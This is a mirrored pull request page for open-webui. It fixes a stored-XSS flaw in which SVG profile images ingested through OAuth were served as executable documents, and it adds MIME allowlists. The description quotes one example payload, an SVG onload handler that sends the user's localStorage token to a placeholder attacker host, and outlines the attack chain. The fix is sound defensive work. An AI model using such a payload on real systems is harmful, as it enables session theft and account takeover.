[PR #24516] [CLOSED] fix: allowlist profile-image MIME at serving endpoint and OAuth ingestion #98737

Closed
opened 2026-05-16 01:34:40 -05:00 by GiteaMirror · 0 comments
Owner

📋 Pull Request Information

Original PR: https://github.com/open-webui/open-webui/pull/24516
Author: @Classic298
Created: 5/9/2026
Status: Closed

Base: devHead: fix/profile-image-svg-mime-whitelist


📝 Commits (2)

  • 2bde0b7 fix: allowlist profile-image MIME at serving endpoint and OAuth ingestion
  • 4528235 chore: trim comments

📊 Changes

2 files changed (+18 additions, -6 deletions)

View changed files

📝 backend/open_webui/routers/users.py (+9 -2)
📝 backend/open_webui/utils/oauth.py (+9 -4)

📄 Description

Two layers of the profile-image pipeline trusted attacker-controllable MIME information and could re-serve image/svg+xml (a browser-executable type) as a top-level document under Content-Disposition: inline, yielding stored-XSS / account-takeover when a victim opened the URL:

  1. get_user_profile_image_by_id in backend/open_webui/routers/users.py read the data:<mime>;base64,... prefix off the stored profile_image_url and reflected <mime> straight into StreamingResponse(media_type=...). Anything in the DB whose MIME was not png/jpeg/gif/webp — for example anything written through a path that bypasses validate_profile_image_url — was served verbatim.

  2. _process_picture_url in backend/open_webui/utils/oauth.py fetched the OAuth picture claim URL and inferred the MIME from the URL extension via mimetypes.guess_type(picture_url)[0], then stored data:<inferred>;base64,... in the user's profile_image_url. The inferred MIME was never compared against an allowlist, and the upstream Content-Type response header was discarded. A .svg picture URL produced data:image/svg+xml;base64,... in the database; the OAuth write path (Users.update_user_profile_image_url_by_id / Auths.insert_new_auth) does not run through the Pydantic validate_profile_image_url validator, so the SVG MIME is not caught on the way in either.

Combined effect: a verified user authenticating via OAuth with a controlled IdP picture URL could store an SVG-MIME data URI in their own profile, then share /api/v1/users/{id}/profile/image to any authenticated victim. The browser rendered the SVG as a top-level document under the application's same origin and executed embedded script handlers (e.g. onload="fetch('https://attacker/x?c='+ localStorage.getItem('token'))").

Two fixes, defense-in-depth:

  • get_user_profile_image_by_id: lower-case the parsed media_type and reject anything outside {image/png, image/jpeg, image/gif, image/webp} before building the StreamingResponse — fall through to the default user.png instead. Adds X-Content-Type-Options: nosniff on the success path so a browser cannot MIME-sniff its way back to a scriptable type. This single change closes the XSS exploitation regardless of what is stored in the DB or how it got there.

  • _process_picture_url: replace the URL-extension MIME guess with the upstream Content-Type response header, then allowlist to the same raster image MIMEs the form path accepts. If the upstream serves anything else (or omits Content-Type), fall back to the default /user.png and log. This stops the bad data from landing in the DB in the first place, keeps the data layer clean, and means a future refactor that drops the serving-endpoint allowlist still cannot reintroduce the vulnerability via OAuth.

Form-input writes were already protected by validate_profile_image_url (SVG explicitly excluded — see backend/open_webui/utils/validate.py:16 "SVG is intentionally excluded: it can carry embedded scripts"). The gap was the bypass paths; this PR closes them.

Contributor License Agreement

Note

Deleting the CLA section will lead to immediate closure of your PR and it will not be merged in.


🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.

## 📋 Pull Request Information **Original PR:** https://github.com/open-webui/open-webui/pull/24516 **Author:** [@Classic298](https://github.com/Classic298) **Created:** 5/9/2026 **Status:** ❌ Closed **Base:** `dev` ← **Head:** `fix/profile-image-svg-mime-whitelist` --- ### 📝 Commits (2) - [`2bde0b7`](https://github.com/open-webui/open-webui/commit/2bde0b70feaf9fe61f7305b4cf2a851f418f56a0) fix: allowlist profile-image MIME at serving endpoint and OAuth ingestion - [`4528235`](https://github.com/open-webui/open-webui/commit/45282359bd28fbac554a6eb782d3aaab2dc1acb5) chore: trim comments ### 📊 Changes **2 files changed** (+18 additions, -6 deletions) <details> <summary>View changed files</summary> 📝 `backend/open_webui/routers/users.py` (+9 -2) 📝 `backend/open_webui/utils/oauth.py` (+9 -4) </details> ### 📄 Description Two layers of the profile-image pipeline trusted attacker-controllable MIME information and could re-serve `image/svg+xml` (a browser-executable type) as a top-level document under `Content-Disposition: inline`, yielding stored-XSS / account-takeover when a victim opened the URL: 1. `get_user_profile_image_by_id` in `backend/open_webui/routers/users.py` read the `data:<mime>;base64,...` prefix off the stored `profile_image_url` and reflected `<mime>` straight into `StreamingResponse(media_type=...)`. Anything in the DB whose MIME was not png/jpeg/gif/webp — for example anything written through a path that bypasses `validate_profile_image_url` — was served verbatim. 2. `_process_picture_url` in `backend/open_webui/utils/oauth.py` fetched the OAuth `picture` claim URL and inferred the MIME from the URL extension via `mimetypes.guess_type(picture_url)[0]`, then stored `data:<inferred>;base64,...` in the user's `profile_image_url`. The inferred MIME was never compared against an allowlist, and the upstream `Content-Type` response header was discarded. A `.svg` picture URL produced `data:image/svg+xml;base64,...` in the database; the OAuth write path (`Users.update_user_profile_image_url_by_id` / `Auths.insert_new_auth`) does not run through the Pydantic `validate_profile_image_url` validator, so the SVG MIME is not caught on the way in either. Combined effect: a verified user authenticating via OAuth with a controlled IdP picture URL could store an SVG-MIME data URI in their own profile, then share `/api/v1/users/{id}/profile/image` to any authenticated victim. The browser rendered the SVG as a top-level document under the application's same origin and executed embedded script handlers (e.g. `onload="fetch('https://attacker/x?c='+ localStorage.getItem('token'))"`). Two fixes, defense-in-depth: - `get_user_profile_image_by_id`: lower-case the parsed `media_type` and reject anything outside `{image/png, image/jpeg, image/gif, image/webp}` before building the StreamingResponse — fall through to the default `user.png` instead. Adds `X-Content-Type-Options: nosniff` on the success path so a browser cannot MIME-sniff its way back to a scriptable type. This single change closes the XSS exploitation regardless of what is stored in the DB or how it got there. - `_process_picture_url`: replace the URL-extension MIME guess with the upstream `Content-Type` response header, then allowlist to the same raster image MIMEs the form path accepts. If the upstream serves anything else (or omits Content-Type), fall back to the default `/user.png` and log. This stops the bad data from landing in the DB in the first place, keeps the data layer clean, and means a future refactor that drops the serving-endpoint allowlist still cannot reintroduce the vulnerability via OAuth. Form-input writes were already protected by `validate_profile_image_url` (SVG explicitly excluded — see `backend/open_webui/utils/validate.py:16` "SVG is intentionally excluded: it can carry embedded scripts"). The gap was the bypass paths; this PR closes them. ### Contributor License Agreement <!-- 🚨 DO NOT DELETE THE TEXT BELOW 🚨 Keep the "Contributor License Agreement" confirmation text intact. Deleting it will trigger the CLA-Bot to INVALIDATE your PR. Your PR will NOT be reviewed or merged until you check the box below confirming that you have read and agree to the terms of the CLA. --> - [x] By submitting this pull request, I confirm that I have read and fully agree to the [Contributor License Agreement (CLA)](https://github.com/open-webui/open-webui/blob/main/CONTRIBUTOR_LICENSE_AGREEMENT), and I am providing my contributions under its terms. > [!NOTE] > Deleting the CLA section will lead to immediate closure of your PR and it will not be merged in. --- <sub>🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.</sub>
GiteaMirror added the pull-request label 2026-05-16 01:34:40 -05:00
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github-starred/open-webui#98737